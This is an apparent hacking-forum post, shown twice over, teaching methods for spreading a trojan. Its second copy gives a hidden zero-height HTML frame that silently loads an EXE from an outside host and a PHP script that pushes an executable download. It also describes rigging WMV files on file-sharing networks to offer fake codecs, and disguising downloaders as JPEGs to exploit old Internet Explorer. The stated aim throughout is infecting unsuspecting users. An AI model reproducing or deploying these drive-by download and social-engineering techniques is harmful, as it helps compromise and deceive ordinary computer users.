[img]http://www.m5zn.com/uploads/2010/2/8/photo/gif/c0xw0qkm2t6h.gif[/img]
:
:
BY THE NaME oF aLLaH
:
:
HI EVErY ONE
FRIST OF ALL
Excuse me For my Bad English ..
:
:
our lesson today is some methods i used for spread my Trojan ...
I Will not put any files or programs Because Its my first Thread ^_^
and i do not any one say my files or programs is not clean ... always ask
google if u want any porgrams u see in my thread ^_^ ...
:
:
:
:
OK STOP TALKING AND LETS START
:
========================
:
(!)
Simply by using a php file,you can use it as a trojan/malware downloader.
Iframe in HTML Method
Example of this is:
http://webisite.com/SREVER.EXE >>> (that would be the trojan)
:
========================
:
(!!)
With a php file you can use a short script to call your .exe file and ask for the download. Note that the PHP file and the EXE file must be in the same path,or you can also modify the path in the $flnm="file.exe"
Example:
:
========================
:
(!!!)
WMV With URLANDEXIT
This Method is very popular this days.Nowadays you can spread malware by uploading tricked wmv files to limewire/ares and other file/moviews shared sites.
With tools like the one shown below you can edit the wmv file to set up a stop time on the file and ask a user to download a fake codec.
[img]http://www.go4expert.com/forums/images/articles/infect-malwares-around/wmveditorcn8.jpg[/img]
If you look closely,when the innocent user tries to watch the movie clip,it will show them a message asking for the download. Please see the picture below for a better idea.
[img]http://www.go4expert.com/forums/images/articles/infect-malwares-around/vidjhwz2.jpg[/img]
:
========================
:
(!!!!)
Be aware of your settings in your pc, do not download anything from a website you don't trust. Below is a picture of an old downloader that used the exploit on old IE/windos This Tool will create a downloader with an extension Jpeg including the picture icon
[img]http://www.megasecurity.org/trojans/j/jpeg/ImagesP/Jpeg_downloader1.0.gif[/img]
:
========================
:
(!!!!!)
The same exploits were used and were very popular couple of years back using a Html downloader. Please see below for a picture so you can have a better idea.
[img]http://www.megasecurity.org/trojans/g/godmessage/ImagesP/Godwill1.06.gif[/img]
:
:
This is some of popular spread methods i used ...I hope you find this useful... and in allah will i will but new Techniques for spread you Trojan ..!!
If u Want Any files U see here go to google :) ..
and please be clear with any question u want ask me ;)
[img]http://www.m5zn.com/uploads/2010/2/8/photo/gif/c0xw0qkm2t6h.gif[/img]
:
:
BY THE NaME oF aLLaH
:
:
HI EVErY ONE
FRIST OF ALL
Excuse me For my Bad English ..
:
:
our lesson today is some methods i used for spread my Trojan ...
I Will not put any files or programs Because Its my first Thread ^_^
and i do not any one say my files or programs is not clean ... always ask
google if u want any porgrams u see in my thread ^_^ ...
:
:
:
:
OK STOP TALKING AND LETS START
:
========================
:
(!)
Simply by using a php file,you can use it as a trojan/malware downloader.
Iframe in HTML Method
Example of this is:
Code
<html><head><title> </title></head><frameset rows="0,*">
<frame src="http://webisite.com/SREVER.EXE" name="top_frame" frameborder="0" scrolling="no" noresize="noresize" marginheight="0" marginwidth="0"/>
<noframes></body></noframes></frameset></html>http://webisite.com/SREVER.EXE >>> (that would be the trojan)
:
========================
:
(!!)
With a php file you can use a short script to call your .exe file and ask for the download. Note that the PHP file and the EXE file must be in the same path,or you can also modify the path in the $flnm="file.exe"
Example:
PHP Code
<?php
$flnm = "archive.exe";
$size = filesize($flnm);
$fp = fopen($flnm, "r");
$src = fread($fp, $size);
fclose($fp);
header("Accept-Ranges: bytes\r\n");
header("Content-Length: ".$size."\r\n");
header("Content-Disposition: inline; filename=".$flnm);
header("\r\n");
header("Content-Type: application/octet-stream\r\n\r\n");
echo $src;
?>:
========================
:
(!!!)
WMV With URLANDEXIT
This Method is very popular this days.Nowadays you can spread malware by uploading tricked wmv files to limewire/ares and other file/moviews shared sites.
With tools like the one shown below you can edit the wmv file to set up a stop time on the file and ask a user to download a fake codec.
[img]http://www.go4expert.com/forums/images/articles/infect-malwares-around/wmveditorcn8.jpg[/img]
If you look closely,when the innocent user tries to watch the movie clip,it will show them a message asking for the download. Please see the picture below for a better idea.
[img]http://www.go4expert.com/forums/images/articles/infect-malwares-around/vidjhwz2.jpg[/img]
:
========================
:
(!!!!)
Be aware of your settings in your pc, do not download anything from a website you don't trust. Below is a picture of an old downloader that used the exploit on old IE/windos This Tool will create a downloader with an extension Jpeg including the picture icon
[img]http://www.megasecurity.org/trojans/j/jpeg/ImagesP/Jpeg_downloader1.0.gif[/img]
:
========================
:
(!!!!!)
The same exploits were used and were very popular couple of years back using a Html downloader. Please see below for a picture so you can have a better idea.
[img]http://www.megasecurity.org/trojans/g/godmessage/ImagesP/Godwill1.06.gif[/img]
:
:
This is some of popular spread methods i used ...I hope you find this useful... and in allah will i will but new Techniques for spread you Trojan ..!!
If u Want Any files U see here go to google :) ..
and please be clear with any question u want ask me ;)
[img]http://www.m5zn.com/uploads/2010/2/8/photo/gif/c0xw0qkm2t6h.gif[/img]
